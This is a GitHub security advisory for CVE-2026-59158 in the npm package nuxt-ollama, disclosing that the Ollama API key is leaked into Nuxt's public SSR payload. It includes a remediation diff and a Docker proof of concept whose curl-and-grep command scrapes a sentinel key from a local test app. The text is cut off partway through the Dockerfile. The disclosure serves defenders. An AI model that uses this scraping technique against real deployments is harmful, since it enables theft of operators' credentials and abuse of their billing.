GitHub Advisoryadvisory · npm

GHSA-fxg7-897c-57mp Nuxt Ollama: Public Runtime Config Exposes Ollama API Key to Browser Clients

HIGH Published 2026-09-09 Modified 2026-09-09 Official page ↗
Aliases
CVE-2026-59158
Ecosystem
npm
Packages
nuxt-ollama
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-522
Reviewed
2026-09-09

Affected packages

• npm nuxt-ollama: >= 1.2.26, < 1.3.1 → fixed in 1.3.1

Description

Public Runtime Config Exposes Ollama API Key to Browser Clients Summary `[email protected]` unconditionally merges all module options — including `api_key` — into Nuxt's public runtime config (`runtimeConfig.public.ollama`). Nuxt serializes `runtimeConfig.public` into the SSR HTML response inside a `` payload block (`window.__NUXT__`), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense. Details The vulnerability is a design flaw in `src/module.ts`. During Nuxt module setup, the entire `_options` object — which contains `api_key` when configured for cloud Ollama as documented in `README.md:71-80` — is merged into the public runtime config namespace: ```ts // src/module.ts:35-36 const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions runtimeConfig.public.ollama = defu(currentConfig, _options) ``` Nuxt's SSR pipeline serializes `runtimeConfig.public` and embeds it in every server-rendered HTML page for client-side hydration. This results in the `api_key` appearing verbatim in the `window.__NUXT__` script block: ```html window.__NUXT__={}; window.__NUXT__.config={ public:{ ollama:{ protocol:"https", host:"api.ollama.com", port:"", proxy:false, api_key:"LEAKED_TEST_KEY_123" // ← secret exposed to browser } } } ``` The browser-side composable (`src/runtime/composables/useOllama.ts`) then reads this value and sends it as an `Authorization: Bearer` header in client-side Ollama API calls: ```ts // src/runtime/composables/useOllama.ts:6-10 const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions if (options.api_key) { headers.Authorization = `Bearer ${options.api_key}` } return new Ollama({ host, proxy: options.proxy, headers }) ``` The complete data flow from source to sink: 1. `README.md:71-80` — official documentation instructs users to set `ollama.api_key` for cloud Ollama models 2. `src/module.ts:35-36` — source: `api_key` is merged into `runtimeConfig.public.ollama` 3. Nuxt SSR runtime — `runtimeConfig.public` is serialized into HTML `__NUXT__` payload 4. `src/runtime/composables/useOllama.ts:6` — browser composable reads `useRuntimeConfig().public.ollama` 5. `src/runtime/composables/useOllama.ts:8-10` — sink: `options.api_key` becomes `headers.Authorization` in client-side HTTP request The `api_key` value is never private (i.e., placed in `runtimeConfig.ollama`) and no sanitization removes it from the public namespace before serialization. Recommended remediation: Move `api_key` to the private runtime config and remove it from the browser composable: ```diff • const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions • runtimeConfig.public.ollama = defu(currentConfig, _options) + const { api_key, ...publicOptions } = _options + const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit + runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions) + const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick + runtimeConfig.ollama = defu(currentPrivateConfig, { api_key }) ``` The `api_key` should then only be consumed in the server-side utility (`src/runtime/server/utils/useOllama.ts`) via `useRuntimeConfig().ollama.api_key`. PoC Prerequisites: Docker, Python 3 Step 1 — Build the vulnerable Nuxt app container ```bash docker build \ -f /path/to/vuln-001/Dockerfile \ -t nuxt-ollama-vuln-001 \ /path/to/npmAI_735_thoda-dev__nuxt-ollama ``` The Dockerfile uses the nuxt-ollama source at commit `6989ea8` and injects the following `playground/nuxt.config.ts` — the exact cloud configuration pattern from `README.md:71-80`: ```ts export default defineNuxtConfig({ modules: ['../src/module'], compatibilityDate: '2025-10-29', devtools: { enabled: false }, ollama: { protocol: 'https', host: 'api.ollama.com', api_key: 'LEAKED_TEST_KEY_123' // sentinel key } }) ``` Step 2 — Start the container ```bash docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001 ``` Step 3 — Retrieve the API key with a single unauthenticated HTTP request ```bash curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"' Expected: api_key":"LEAKED_TEST_KEY_123" ``` Automated PoC script ```bash python3 /path/to/vuln-001/poc.py ``` Expected output (confirmed in dynamic reproduction): ``` window.__NUXT__.config={ public:{ ollama:{ protocol:"https", host:"api.ollama.com", port:"", proxy:false, api_key:"LEAKED_TEST_KEY_123" } } } ``` The sentinel key `LEAKED_TEST_KEY_123` appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak. Impact This is a credentials exposure vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using `nuxt-ollama` with a cloud `api_key` configured can extract the API key from the `__NUXT__` script payload. Who is impacted: • Operators/developers who follow the official documentation to configure `ollama.api_key` for cloud Ollama models. They are unaware that the key is being published to every visitor. • End-users of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key. Potential consequences of key theft: • Unauthorized use of the Ollama cloud API at the operator's cost • Rate-limit exhaustion or quota abuse • Data exfiltration if the compromised key has read access to stored models or conversations • Reputational damage and service disruption for the affected application The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker. Reproduction artifacts `Dockerfile` ```dockerfile syntax=docker/dockerfile:1 VULN-001 PoC: [email protected] — Public Runtime Config Exposes Ollama API Key CWE-522: Insufficiently Protected Credentials CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High) Vulnerability mechanism: src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options) This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload). Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext. FROM node:20-alpine Install pnpm matching the repo's packageManager field ([email protected]) RUN npm install -g [email protected] WORKDIR /app Copy the nuxt-ollama source repository COPY repo/ ./ Install all project dependencies. .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false RUN pnpm install --frozen-lockfile Override playground/nuxt.config.ts: inject a sentinel api_key to simulate a real-world cloud Ollama deployment as documented in README.md:71-80. This is the exact vulnerable configuration pattern described in the docs. RUN cat > playground/nuxt.config.ts << 'EOF' export default defineNuxtConfig({ modules: ['../src/module'], compatibilityDate: '2025-10-29', devtools: { enabled: false }, ollama: { protocol: 'https', host: 'api.ollama.com', api_key: 'LEAKED_TEST_KEY_123' } }) EOF Replace app.vue with a minimal template that does NOT make Ollama API calls. The api_key leak occurs in the Nuxt SSR payload, not in the visible template. The original playground app.vue calls useFetch('/api/ollama') which requires a live Ollama server; replacing it keeps this PoC self-c…

Related

Alias · CVE (1)

  • CVE-2026-59158 Nuxt Ollama integrates the official Ollama JavaScript library into Nuxt applications. vulnerability

Weakness · CWE (1)

  • CWE-522 Insufficiently Protected Credentials weakness

References